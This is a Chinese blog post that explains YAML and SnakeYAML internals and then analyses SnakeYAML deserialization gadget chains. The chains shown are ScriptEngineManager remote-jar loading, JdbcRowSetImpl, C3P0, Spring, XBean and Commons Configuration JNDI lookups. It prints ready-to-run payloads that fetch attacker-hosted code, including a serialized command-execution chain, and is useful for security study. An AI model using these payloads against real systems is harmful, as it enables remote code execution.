SnakeYaml 链

SnakeYaml 链

介绍

SnakeYAML 是一个用于解析和生成 YAML 格式数据的库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化标准,常用于配置文件和数据交换。SnakeYAML 提供了一种简单的方式来将 YAML 文档转换为 Java 对象,反之亦然。

Yaml 基础

YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化标准,广泛用于配置文件、数据交换和文档结构。YAML 的设计目标是易于阅读和编写,同时也易于机器解析和生成。以下是 YAML 语法的一些关键点和详细说明:

基本结构

  1. 标量(Scalars):YAML 支持多种标量类型,包括字符串、整数、浮点数、布尔值等。

    1
    2
    3
    4
    5
    string: "Hello, World!"
    integer: 42
    float: 3.14
    boolean: true
    null_value: null
  2. 列表(Lists):列表用破折号(-)表示,每个元素占据一行。

    1
    2
    3
    4
    fruits:
    - apple
    - banana
    - orange
  3. 映射(Mappings):映射用键值对表示,键和值之间用冒号(:)分隔。

    1
    2
    3
    4
    5
    6
    7
    person:
    name: John Doe
    age: 30
    address:
    street: 123 Main St
    city: Anytown
    zip: 12345

缩进和块结构

YAML 使用缩进来表示嵌套结构,通常使用两个空格进行缩进(不建议使用制表符)。

1
2
3
4
5
6
7
person:
name: John Doe
age: 30
address:
street: 123 Main St
city: Anytown
zip: 12345

引用和别名

YAML 支持引用和别名,允许重复使用之前定义的数据。

  1. 引用(Anchor):用 & 符号定义一个引用。
  2. 别名(Alias):用 * 符号引用一个引用。
1
2
3
4
5
6
7
base_config: &base
debug: true
log_level: info

extended_config:
<<: *base
log_level: debug

多文档支持

YAML 支持在一个文件中包含多个文档,每个文档用三个破折号(---)分隔。

1
2
3
4
5
6
---
document1:
key1: value1
---
document2:
key2: value2

特殊字符和转义

YAML 支持特殊字符和转义序列。例如,字符串中的特殊字符可以用反斜杠(\)进行转义。

1
escaped_string: "This is a \"quoted\" string."

注释

YAML 支持单行注释,用井号(#)表示。

1
2
# This is a comment
key: value

复杂结构

YAML 可以表示复杂的嵌套结构,包括列表中的映射和映射中的列表。

1
2
3
4
5
6
7
8
9
10
11
employees:
- name: Alice
role: developer
skills:
- java
- python
- name: Bob
role: manager
skills:
- leadership
- communication

内置类型

YAML 支持多种内置类型,包括日期和时间。

1
2
date: 2023-01-01
datetime: 2023-01-01T12:00:00Z

示例

以下是一个综合示例,展示了 YAML 的多种语法特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
person:
name: John Doe
age: 30
address:
street: 123 Main St
city: Anytown
zip: 12345
hobbies:
- reading
- hiking
- coding
preferences: &prefs
theme: dark
notifications: true

user_settings:
<<: *prefs
language: en

通过这些详细的说明和示例,应该对 YAML 的语法有了全面的了解。YAML 的简洁性和可读性使其成为配置文件和数据交换的理想选择。

snakeYaml序列化/反序列化分析

环境

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

demo演示

SnakeYaml 提供了 Yaml.dump()Yaml.load() 两个函数对 yaml 格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个 Java 对象;
  • Yaml.dump():将一个对象转化为 yaml 文件形式;

定义 Java 类

定义一个简单的 Java 类来表示数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package demo;

import java.util.List;

public class Person {
public String name;
private int age;
protected List<String> hobbies;

public Person() {
System.out.println("构造函数被调用");
}

// Getters and Setters
public String getName() {
System.out.println("getName方法被调用");
return name;
}

public void setName(String name) {
System.out.println("setName方法被调用");
this.name = name;
}

public int getAge() {
System.out.println("getAge方法被调用");
return age;
}

public void setAge(int age) {
System.out.println("setAge方法被调用");
this.age = age;
}

public List<String> getHobbies() {
System.out.println("getHobbies方法被调用");
return hobbies;
}

public void setHobbies(List<String> hobbies) {
System.out.println("setHobbies方法被调用");
this.hobbies = hobbies;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", hobbies=" + hobbies +
'}';
}
}

序列化和反序列化示例

编写一个示例程序来展示如何使用 SnakeYAML 进行序列化和反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package demo;

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.Constructor;

import java.util.Arrays;

public class SnakeYamlDemo {
public static void main(String[] args) {
// 创建一个 Person 对象
System.out.println("初始化一个Person 对象:");
Person person = new Person();
person.setName("John Doe");
person.setAge(30);
person.setHobbies(Arrays.asList("reading", "hiking", "coding"));


// 序列化:将 Java 对象转换为 YAML 字符串
System.out.println("\n序列化部分:");
Yaml yaml = new Yaml();
String yamlString = yaml.dump(person);
System.out.println("Serialized YAML:\n" + yamlString);

// 反序列化:将 YAML 字符串转换回 Java 对象
System.out.println("\n反序列化部分:");
Yaml yamlLoader = new Yaml(new Constructor(Person.class));
Person loadedPerson = yamlLoader.load(yamlString);
System.out.println("Deserialized Person:\n" + loadedPerson);
}
}

运行示例

运行上述代码,你将看到以下输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
初始化一个Person 对象:
构造函数被调用
setName方法被调用
setAge方法被调用
setHobbies方法被调用

序列化部分:
getAge方法被调用
getHobbies方法被调用
Serialized YAML:
!!demo.Person
age: 30
hobbies: [reading, hiking, coding]
name: John Doe


反序列化部分:
构造函数被调用
setAge方法被调用
setHobbies方法被调用
Deserialized Person:
Person{name='John Doe', age=30, hobbies=[reading, hiking, coding]}

序列化的时候我们调用了getAgegetHobbies,反序列化的时候调用了setAgesetHobbies,但是,我们是有三个属性的。不难看出,序列化和反序列化的时候,我们并没有调用public修饰的name的getter/setter函数。但是从结果看name确实成功被序列化和反序列化了。

调试分析

序列化

可以直接跟到Yaml#dumpAll方法,其中我们要序列化的类在data变量里。data是我们要序列化的类的迭代器,output是一个 Writer,用于输出序列化后的 YAML 数据,rootTag是一个 Tag 对象,表示 YAML 文档的根标签。之后会new一个Serializer对象,里面放了一个 Emitter 对象,Emitter是一个用于将 YAML 事件发送到输出流的类,这里传入了output和 dumperOptions。对于每个对象,调用 this.representer.represent(data.next()) 方法将其转换为 Node 对象。然后调用 serializer.serialize(node) 方法将 Node 对象序列化为 YAML 格式。

image-20240714005311620

然后经过BaseRepresenter#represent来到BaseRepresenter#representData。传入的参数是data,此时这个data是我们从迭代器取出来的,就是我们要序列化的类。这个方法的主要目的是根据对象的类型选择合适的表示器(Representer),并将对象转换为 Node 对象。前面一堆判断主要是选取合适的表示器来转换对象。

image-20240714010237938

最后找到了Representer$RepresentJavaBean这个表示器来处理我们的类,很合理,刚好我们的类就是一个JavaBean。

image-20240714010531474

跟进去会看到,调用了Representer#representJavaBean方法,参数是通过getProperties(data.getClass()) 方法获取的 data 对象的类类型(data.getClass())的属性列表。这个方法返回一个 Property 对象的TreeSet类型集合(更好的TreeMap集合)。这里会涉及到为什么public属性不会调用getter/setter方法,后续会提到。

image-20240714011241208

这段代码是用于将一个 JavaBean 对象转换为一个 MappingNode 对象。它遍历 JavaBean 的属性集合,也就是properties,然后会通过集合中每个property的get方法获得属性的值,然后调用representJavaBeanProperty方法,将属性的名称和值分别表示为 ScalarNodeNode,并返回一个 NodeTuple。在为每个属性生成一个 NodeTuple后,会将这些 NodeTuple 添加到 MappingNode 中,也就是转化后的Node。

image-20240714011848524

1
2
3
4
5
6
7
8
representJavaBean:99, Representer (org.yaml.snakeyaml.representer)
representData:80, Representer$RepresentJavaBean (org.yaml.snakeyaml.representer)
representData:106, BaseRepresenter (org.yaml.snakeyaml.representer)
represent:65, BaseRepresenter (org.yaml.snakeyaml.representer)
dumpAll:275, Yaml (org.yaml.snakeyaml)
dumpAll:243, Yaml (org.yaml.snakeyaml)
dump:220, Yaml (org.yaml.snakeyaml)
main:23, Test (demo)

serialize里面就是处理我们转化好的node类了。

反序列化

进入Yaml#load,会new一个StreamReader类,把我们需要反序列化的yaml数据赋值进去,方便数据流的拂去,然后进入Yaml#loadFromReader函数

image-20240714030158485

Yaml#loadFromReader函数中,我们会将sreader作为ParserImpl对象的一部分,然后将这个ParserImpl对象又作为一部分赋值给Composer。然后调用BaseConstructor#getSingleData。

image-20240714031036315

接着进入BaseConstructor#getSingleData,其中composer在上一步会被设置了我们new出来的Composer对象,我们的yaml数据就在其中,而函数的参数,是Object.class。然后,会调用composer的getSingleNode函数根据我们的yaml数据,构造出node。node的value是我们要反序列化的类的属性对应的nodeTuple的数组列表。每个nodeTuple的keyNode是反序列化的类的属性名称封装的node,valueNode则是属性值封装的node。

image-20240714031012983

接着我们会将node作为参数,调用BaseConstructor#constructDocument,这个方法看名字应该是从给定的node构造出一个文档对象。而这个方法又会调用BaseConstructor#constructObject,从给定的node构造出一个对象。当前方法从node中构造出对象后,会调用fillRecursive方法。这个步骤可能是为了处理那些在初始构造过程中因为递归引用或其他原因而不能立即完成构造的对象。

image-20240714032329675

进入BaseConstructor#constructObject后,首先检查 constructedObjects 映射中是否已经包含了一个以该 node 为键的条目。constructedObjects 是一个映射,用于存储已经构造的对象,以节点为键,构造出的对象为值。如果 constructedObjects 包含该 node,则直接从映射中返回已构造的对象,避免了重复构造的开销。如果 constructedObjects 不包含该 node,则调用 this.constructObjectNoCheck(node) 方法来构造对象。这里因为没有构造过我们可以直接进入 BaseConstructorconstructObjectNoCheck(node) 方法。

image-20240714033322774

BaseConstructorconstructObjectNoCheck中,我们会先把node添加到recursiveObject中,然后获得一个construct,接着判断constructedObjects包含node,依然是没有的,我们调用Construct$ConstructYamlObject#construct函数,node作为参数

image-20240714033249467

在这个函数中又会去调用Construct$ConstructMapping#construct。为什么是ConstructMapping的construct,可以跟进this.getConstructor(node)里。image-20240714033821771

实例化出我们需要的类,然后调用Construct#constructJavaBean2ndStep方法用property.set里面给属性赋值。

image-20240714035048854

1
2
3
4
5
6
7
8
9
10
11
set:73, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:32, Test (demo)

public相关问题

关于为什么不会调用public修饰的name的getter/setter函数。从序列化的角度分析,我们序列化会获取properties里面的每个property,也就是properties集合每个key对应的val值(后续其实是key值了,处理成了TreeMap集合,类似树这个结构。),这个值在设置的时候。一开始,每个key,也就是属性名,对应的val都是MethodProperty类型。

image-20240713233331321

但是在后续处理的时候,会判断每个属性是什么修饰,如果是public修饰的话,就会将这个属性的Property设置为FieldProperty。

image-20240713232632520

那么序列化后续部分,代码会去得到每个Property,然后调用其get方法来获取我们要序列化的类的属性的值,而MethodProperty和FieldProperty的get方法也是不一样的。

image-20240713233819941

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
MethodProperty#get

public Object get(Object object) {
try {
this.property.getReadMethod().setAccessible(true);
return this.property.getReadMethod().invoke(object);
} catch (Exception var3) {
throw new YAMLException("Unable to find getter for property '" + this.property.getName() + "' on object " + object + ":" + var3);
}
}

------------------------------------------------------------------------

FieldProperty#get

public Object get(Object object) {
try {
return this.field.get(object);
} catch (Exception var3) {
throw new YAMLException("Unable to access field " + this.field.getName() + " on object " + object + " : " + var3);
}
}

对比两个get方法,显然MethodProperty#get方法,是通过反射获取属性的getter方法,然后method.invoke调用。而FieldProperty#get,则是该属性的字段field,然后用field.get方法获取属性的值。

前置知识-SPI机制

介绍

SPI,即Service Provider Interface,是Java提供的一套用来被第三方实现或扩展的API。它可以用于模块化,提供统一的接口,并且加载实现这些接口的类。

SPI的工作原理很简单。在你的JAR包中,可以包含一个名为META-INF/services的文件夹,里面包含一些配置文件。这些配置文件的命名应该和你的接口全名一致,而文件的内容则是该接口的具体实现类。当运行到程序需要用到这个接口的时候,Java会扫描所有包含这个接口的实现类的配置文件,加载实现类。

一个典型的SPI的使用是在java.util.ServiceLoader。ServiceLoader是一种服务提供加载设施,它可以加载Service接口的实现。当你调用ServiceLoader.load()方法时,它会返回一个实现了该接口的对象。

1
2
3
4
ServiceLoader<YourInterface> loaders = ServiceLoader.load(YourInterface.class);
for (YourInterface loader : loaders) {
// do something with loader
}

这样,你就可以在代码中调用SPI的接口,而具体的实现可以在运行时动态添加。这种机制让你的代码可以更加模块化,更容易扩展。

Java的许多核心API都使用SPI,例如java.sql.Driverjavax.servlet.ServletContainerInitializer等。你可以通过实现这些接口,为Java添加新的数据库驱动或者Servlet容器。

mysql-connector-java中的SPI

image-20240714143632407

程序会通过 java.util.ServiceLoder 动态装载实现模块,在 META-INF/services 目录下的配置文件寻找实现类的类名,通过 Class.forName 加载进来, newInstance() 反射创建对象。

snakeYaml反序列化漏洞

基于 ScriptEngineManager 利用链(利用 SPI 机制)

yaml-payload.jar配置

1
2
3
4
5
6
7
8
9
10
11
import org.yaml.snakeyaml.Yaml;

public class SPInScriptEngineManager_EXP {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://localhost:9999/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

访问到jar包时,会扫描META-INF/services下的文件,扫到javax.script.ScriptEngineFactory,会创造这个接口的具体实现类,这个具体实现类就是artsploit.AwesomeScriptEngineFactory,也就是我们构造的恶意类。

image-20240714151124540

因为在实例化这个类的时候会通过 Class.forName 加载进来, newInstance() 反射创建对象,所以可以调用我们的构造函数触发calc指令。

image-20240714151319527

调试分析

来到Constructor#Construct函数,此时的getConstructor(node)是Constructor$ConstructSequence,也就是说我们接下来会去到Constructor$ConstructSequence#construct函数,此时的node是SequenceNode类型,代表一个序列,即一个元素列表。我们的yaml数据就封装在里面

image-20240714160911569

image-20240714161249195

进入Constructor$ConstructSequence#construct函数后,前面一些if判断跳过,来到会执行的代码处,首先遍历目标类的所有声明的构造函数,并将那些参数数量与序列节点中的元素数量匹配的构造函数添加到一个列表中。如果只有一个可能的构造函数,这段代码会创建一个参数列表,并为每个参数节点设置运行时类型,然后调用这个构造函数来创建一个新的对象。而我们possibleConstructors确实只有一个Construct,所以会进入到这个逻辑。

image-20240714161639661

中间会有循环调用,我们的yaml数据封装太多层了。

image-20240714164120687

然后回反射调用构造函数来构造我们的ScriptEngineManager对象。

image-20240714164721780

来到ScriptEngineManager对象构造函数,

image-20240714164405745

会走到ScriptEngineManager#initEngines方法,该方法被设计为使用提供的ClassLoader初始化ScriptEngineFactory实例。我们这里就是UrlClassLoader,然后会用迭代器去遍历。在这个过程中,会检查和加载配置文件中定义的服务,并逐个解析这些服务,也就是扫描META-INF/services文件夹,然后反射获取接口的实现类,newInstance实例化。实例化的过程中调用了这个实现类的构造函数触发指令。

image-20240714170634643

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
newInstance:396, Class (java.lang)
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:9, SPInScriptEngineManager

payloda

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:9999/yaml-payload.jar"]]]]

就是构建了java.net.URL对象,构造函数参数为”http://localhost:9999/yaml-payload.jar",然后将这个对象作为java.net.URLClassLoader的构造函数的参数,来构造URLClassLoader对象,然后用这个URLClassLoader对象作为参数,去做javax.script.ScriptEngineManager构造函数的参数来构造ScriptEngineManager对象。

JdbcRowSetImpl

1
2
3
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";

String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";

C3P0 JndiRefForwardingDataSource

1
2
3
4
5
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost/Exploit\"\n" +
" loginTimeout: 0";

String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://localhost/Exploit\", loginTimeout: \"0\"}";

C3P0 WrapperConnectionPoolDataSource

1
2
3
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400036B65797372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001C7371007E00137571007E0018000000027070740006696E766F6B657571007E001C00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E00137571007E00180000000174000463616C63740004657865637571007E001C0000000171007E001F7371007E00003F4000000000000C77080000001000000000787874000576616C756578
;\"";

Spring PropertyPathFactoryBean

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.18</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.18</version>
</dependency>

分析

可以SimpleJndiBeanFactory#getBean函数可以jndi注入。

image-20240714221239211

image-20240714221523179

我们需要找到一个类,他的setter会调用getBean函数。这里我们找到的是PropertyPathFactoryBean#setBeanFactory方法。BeanFactory是一个private属性,可以调用,所以构造一个PropertyPathFactoryBean对象

image-20240714221850975

有一些不太难得小绕过,比如propertyPath不能为空,否则抛异常,还有beanFactory.isSingleton(this.targetBeanName)会检测构造的SimpleJndiBeanFactory中的shareableResources这个集合,是否包含了this.targetBeanName,只有包含了才能通过判断,然后执行getBean函数。

image-20240714223951797

根据上面的小demo,可以轻易写出exp了。

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.yaml.snakeyaml.Yaml;

public class SpringPropertyPathFactoryBeanEXP {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"rmi://localhost:1099/evilexp\"\n" +
" propertyPath: cmisl\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"rmi://localhost:1099/evilexp\"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

payload

1
2
3
4
5
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "rmi://localhost:1099/evilexp"
propertyPath: cmisl
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["rmi://localhost:1099/evilexp"]

这里没有构造出一行版本的payload,因为要求在解析完targetBeanName后识别一个块映射的结束(<block end>),但实际找到的是一个标量(<scalar>)。一行会导致块映射的结束(<block end>)的丢失。

Apache XBean

依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

分析

比较眼熟的一个函数,在jndi高版本绕过不出网利用中出现过。这个方法在ContextUtil$ReadOnlyBinding#resolve中,而resolve又被ContextUtil$ReadOnlyBinding#getObject调用。

image-20240715015542586

然后就要找调用了getObject的地方,这里我们找到的是Binding的toString方法,因为Binding这个类是ReadOnlyBinding的父类。当我们构造好ReadOnlyBinding,调用ReadOnlyBinding的toString,因为自己没有这个方法所以会直接调用父类Binding的toString方法,然后调用到自己的getObject。

image-20240715023036483

接着我们需要寻找调用了toString方法的地方,最好是在构造函数中。因为我们反序列化的过程中,会调用对我们要反序列化的类进行初始化,这里找到的是BadAttributeValueExpException(不知道咋从1w多个方法里找的,汗),完美,参数是Object类型,方便调用到我们指定类的toString方法。

image-20240715024001343

所以可以写出EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package demo;

import org.yaml.snakeyaml.Yaml;

public class ApacheXBeanEXP {
public static void main(String[] args) {
String payload = "!!javax.management.BadAttributeValueExpException " +
"[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " +
"['cmisl',!!javax.naming.Reference ['evilexp', 'evilexp', 'http://127.0.0.1:9999/']," +
"!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

其实我们在javax.management.BadAttributeValueExpException并没有val的setter/getter函数,为什么能反序列化成功呢,其实yaml数据不同格式会用不同方法反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
String yaml_payload="!!demo.Demo {age: 5}";

输出:
无参
setAge
Demo{object=null, age=5}

-----------------------------------------------------

String yaml_payload="!!demo.Demo [null,5]";

输出:
Demo{object=null, age=5}

不难察觉两者的差别,第一中是用setter函数设置属性的值,第二种这是直接构造函数中赋值,不需要setter方法。

payload

1
String payload="!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ['cmisl',!!javax.naming.Reference ['evilexp', 'evilexp', 'http://127.0.0.1:9999/'],!!org.apache.xbean.naming.context.WritableContext []]]";

Apache Commons Configuration

依赖

1
2
3
4
5
<dependency>  
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>

分析

1
2
3
4
5
6
7
8
9
10
11
import org.yaml.snakeyaml.Yaml;

public class ApacheCommonsConfigurationEXP {
public static void main(String[] args) {
String yaml_payload = "!!org.apache.commons.configuration.ConfigurationMap " +
"[!!org.apache.commons.configuration.JNDIConfiguration " +
"[!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/evilexp\"]]: 1";
Yaml yaml = new Yaml();
yaml.load(yaml_payload);
}
}

可以根据下面调用堆栈分析一下,这个能走通挺厉害的。大概就是,如果你的yaml数据是键值对,反序列化的过程中就会调用key的hashcode函数,这条链就是ConfigurationMap的hashcode,继承自父类,然后hashcode调用了iterator方法。然后调用configuration属性的getkeys方法,我们将这个属性设置为JNDIConfiguration对象,那么就会调用JNDIConfiguration#getkeys,再通过这个方法里面的getBaseContext方法走到jndi

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
lookup:118, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:505, AbstractMap (java.util)
processDuplicateKeys:94, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:189, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:460, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:556, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:9, ApacheCommonsConfigurationEXP

payload

1
String yaml_payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/evilexp\"]]: 1"

SnakeYaml 链
http://example.com/2024/07/14/SnakeYaml 链/
作者
cmisl
发布于
2024年7月14日
许可协议